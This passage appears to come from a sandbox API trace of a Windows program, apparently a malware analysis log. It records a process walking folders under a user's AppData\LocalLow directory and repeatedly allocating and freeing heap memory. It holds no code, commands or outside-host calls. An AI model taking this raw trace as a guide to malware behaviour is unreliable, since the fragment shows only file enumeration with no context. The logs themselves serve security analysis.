cAlternateFileName="")) returned 0x30914e0 [0272.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.155] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.155] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0272.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x31157b0 [0272.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x38) returned 0x3091560 [0272.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x31159a8 [0272.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b0 | out: hHeap=0x640000) returned 1 [0272.155] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0272.155] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0272.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0272.155] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x31157b0 [0272.155] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.168] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0272.168] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0272.168] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.168] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.168] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.168] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.168] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.168] PathFindFileNameW (pszPath="") returned="" [0272.168] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.170] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115900 | out: hHeap=0x640000) returned 1 [0272.170] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.170] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0272.170] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0272.170] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0272.170] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.170] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.170] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.170] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\") returned="IME12\\" [0272.170] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0272.171] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.171] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.171] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS 